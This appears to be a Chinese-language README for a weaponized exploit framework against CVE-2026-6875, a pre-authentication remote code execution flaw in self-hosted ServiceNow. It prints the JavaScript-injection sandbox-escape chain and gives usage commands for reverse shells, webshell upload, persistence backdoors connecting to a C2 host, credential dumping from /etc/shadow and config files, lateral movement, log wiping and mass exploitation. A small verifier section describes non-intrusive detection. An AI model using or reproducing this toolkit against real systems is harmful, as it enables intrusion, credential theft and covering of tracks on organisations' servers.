CVE-2026-6875 ServiceNow 预认证 RCE 框架 🔥 JS 注入 → 沙箱逃逸 → RCE → Root。功能:--detect、--exec、反弹/交互式 shell、批量线程、WAF 绕过、持久化、横向移动、凭据转储、无文件执行、清除痕迹。🛡️ CVSS 9.5 已被积极利用。仅限授权与合法使用。保持合法。🔒

漏洞利用框架与安全验证器
仅限授权安全测试使用。
本工具仅供教育和授权渗透测试目的使用。
作者和贡献者不对本软件造成的任何误用或损害负责。用户须自行确保在测试前已获得目标所有者的明确书面许可。未经授权访问计算机系统违反《计算机欺诈与滥用法案》(CFAA) 及全球类似法律。
使用本软件即表示您同意:
警告: 该漏洞已在野外被积极利用。未经授权的使用可能导致严重的法律后果。
CVE-2026-6875 是 ServiceNow AI 平台(原 Now Platform)中的一个严重未认证远程代码执行 (RCE) 漏洞。攻击者可借此绕过脚本沙箱,以 ServiceNow 应用程序权限执行任意系统命令。
JavaScript 注入: assessment_thanks.do 端点接受 sysparm_assessable_type 参数。通过在值前添加 javascript: 前缀,攻击者可注入任意 JavaScript 代码。
沙箱逃逸: 一个精心构造的沙箱逃逸利用链(串联 DiscoveryFunctions.getCacheObjectForTable、AbstractAjaxProcessor 和 Class.create)可解除 JavaScript 沙箱限制。
远程代码执行: 注入的 Java 代码(通过 java.lang.Runtime.exec())以 ServiceNow 应用程序权限运行,从而实现完整的系统入侵。
权限提升: 后渗透模块尝试通过 sudo 配置错误、SUID 二进制文件、可写 cron 任务或内核漏洞提升至 root 权限。
| 属性 | 值 |
|---|---|
| [>] 发现时间 | 2026 年 4 月 1 日 (Searchlight Cyber) |
| [>] CVSS 评分 | 9.5 (严重) |
| [>] CISA KEV | 2026 年 7 月 13 日加入 |
| [>] 受影响产品 | 自托管 ServiceNow AI 平台 |
| [>] 修复版本 | Brazil EA/GA、Australia Patch 2、Zurich Patch 7b/9、Yokohama Patch 12 Hot Fix 1b/13 |
| [>] 认证要求 | 无需认证(预认证) |
| [>] 活跃利用 | 已确认在野利用(2026 年 7 月) |
exploit.py)完整的武器化漏洞利用工具串联 JavaScript 注入和沙箱逃逸以实现远程代码执行,并配备用于持久化、横向移动和凭据转储的高级后渗透模块。
| 功能 | 描述 |
|---|---|
| [+] JavaScript 注入 | 通过 sysparm_assessable_type 参数注入载荷。 |
| [+] 沙箱逃逸 | 绕过 ServiceNow 的脚本沙箱以运行任意 Java 代码。 |
| [+] 交互式 Shell | 启动支持多条命令的实时 Shell。 |
| [+] Root 提权 | 检查 sudo 配置错误、SUID 二进制文件和 cron 任务。 |
| [+] 文件操作 | 上传 webshell,通过 base64 编码读取/下载文件。 |
| [+] 批量扫描 | 使用多线程批量利用多个目标(-l 标志)。 |
| [+] 安全检测 | 可选的 --detect 标志用于非侵入式漏洞验证。 |
| [+] WAF 绕过 | 内置混淆技术以规避 WAF/IDS(6 种技术)。 |
| [+] 持久化 | 安装 cron/systemd/schtasks 后门。 |
| [+] 横向移动 | 扫描本地网络中的其他易受攻击主机,并尝试 SSH/SSRF 传播。 |
| [+] 痕迹清理 | 删除日志、bash 历史记录和审计痕迹。 |
| [+] 无文件执行 | 使用 Java ClassLoader 运行内存驻留载荷,不写入磁盘。 |
| [+] 回调服务器 | 内置 HTTP 服务器用于接收命令输出(可选)。 |
| [+] Webhook 通知 | 将结果发送到自定义 URL(Slack、Discord 等)。 |
| [+] 跨平台 | 支持 Linux 和 Windows 目标(cmd.exe / PowerShell)。 |
| [+] 线程安全 | 使用锁定机制进行并发操作。 |
| [+] 版本检测 | 检测 ServiceNow 版本(Zurich/Brazil/Australia/Yokohama)。 |
| 命令 | 描述 |
|---|---|
exec <cmd> | 执行系统命令 |
upload <local> [remote] | 上传 webshell 到目标 |
download <remote> | 下载并显示文件内容 |
privesc | 尝试权限提升 |
reverse <host> <port> | 发送反向 Shell |
dumpcred | 从 ServiceNow 配置中转储凭据 |
persist <host> <port> | 安装持久化(cron/systemd/schtasks) |
lateral | 尝试横向移动 |
clean | 清理痕迹(日志、历史记录) |
memory <host> <port> | 执行无文件 Java 载荷 |
exit | 退出交互式 Shell |
verifier.py)安全验证器执行非侵入式漏洞检测,不执行有害载荷或进行系统更改。
| 功能 | 描述 |
|---|---|
| [+] ServiceNow 检测 | 通过多个端点识别 ServiceNow 实例。 |
| [+] 版本检测 | 检测特定的 ServiceNow 版本和补丁级别。 |
| [+] JavaScript 注入测试 | 使用安全的 gs.print() 载荷测试注入漏洞。 |
| [+] 沙箱逃逸测试 | 在不使用破坏性命令的情况下验证沙箱逃逸。 |
| [+] 置信度评分 | 基于证据提供置信度百分比(85-95%)。 |
| [+] JSON 输出 | 将结果导出为 JSON 格式以供报告。 |
| [+] 批量扫描 | 支持多线程扫描多个目标。 |
| [+] 非侵入式 | 仅执行无害的 uname -a 获取系统信息。 |
pip(用于 requests 库)pip install requests urllib3
[!NOTE]
exploit.py核心功能仅使用标准库;requests仅用于--detect功能、--webhook通知和安全验证器。
verifier.py)# 单目标验证
python verifier.py -u 192.168.1.100
# 自定义端口和路径
python verifier.py -u 10.0.0.5 -p 8443 --path /snow
# 从文件批量扫描
python verifier.py -l targets.txt -o results.json
# 静默模式(仅显示易受攻击的目标)
python verifier.py -u 192.168.1.100 -q
# 为慢速目标增加超时时间
python verifier.py -u servicenow.example.com --timeout 60
# 自定义 User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"
# 在目标上启动交互式 Shell
python exploit.py -u 192.168.1.100
# 执行单条命令
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# 读取文件
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# 在利用前启用检测
python exploit.py -u 192.168.1.100 --detect
# 尝试 root 权限提升
python exploit.py -u 192.168.1.100 --privesc
# 上传 webshell
python exploit.py -u 192.168.1.100 --upload shell.jsp
# 安装持久化并连接 C2
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444
# 利用后清理痕迹
python exploit.py -u 192.168.1.100 --clean
# 使用无文件(内存)载荷
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444
# 从文件批量利用(50 线程)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# 自定义回调服务器端口
python exploit.py -u 192.168.1.100 --callback-port 9090
# 启用 WAF 绕过技术
python exploit.py -u 192.168.1.100 --waf-bypass
# 通过 webhook 发送通知
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow
# 管道模式(从 stdin 读取命令)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# 自定义端口和路径
python exploit.py -u 10.0.0.5 -p 8443 --path /snow
# 禁用 TLS 验证(用于自签名证书)
python exploit.py -u 192.168.1.100 --insecure-tls
# 自定义超时和重试次数
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0
| ServiceNow 版本 | 易受攻击版本 | 修复版本 |
|---|---|---|
| Brazil | EA, GA | 已修补(GA 后) |
| Australia | Patch 2 之前 | Patch 2+ |
| Zurich | Patch 7b、Patch 9 之前 | Patch 7b、Patch 9+ |
| Yokohama | Patch 12 Hot Fix 1b 之前 | Patch 12 Hot Fix 1b、Patch 13 |
| 其他版本 | 未知 | 查看官方公告 |
重要: ServiceNow 云实例会自动修补。此漏洞主要影响自托管部署。
该漏洞存在于 assessment_thanks.do 端点,该端点接受 sysparm_assessable_type 参数。通过提供以 javascript: 开头的值,平台会在系统上下文中评估后续的 JavaScript。
易受攻击的端点:
POST /assessment_thanks.do sysparm_assessable_type=javascript:gs.print('test')
注入的代码最初被限制在沙箱中。然而,通过利用以下链:
javascript:
var s="<payload>";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);
沙箱被绕过,从而获得对 java.lang.Runtime 等 Java 类的完全访问权限。
搜索 .properties、.xml、.conf 文件中的密码、API 密钥和机密:
/opt/ServiceNow/conf/*.xml/var/log/ServiceNow/*.log/etc/passwd、/etc/shadow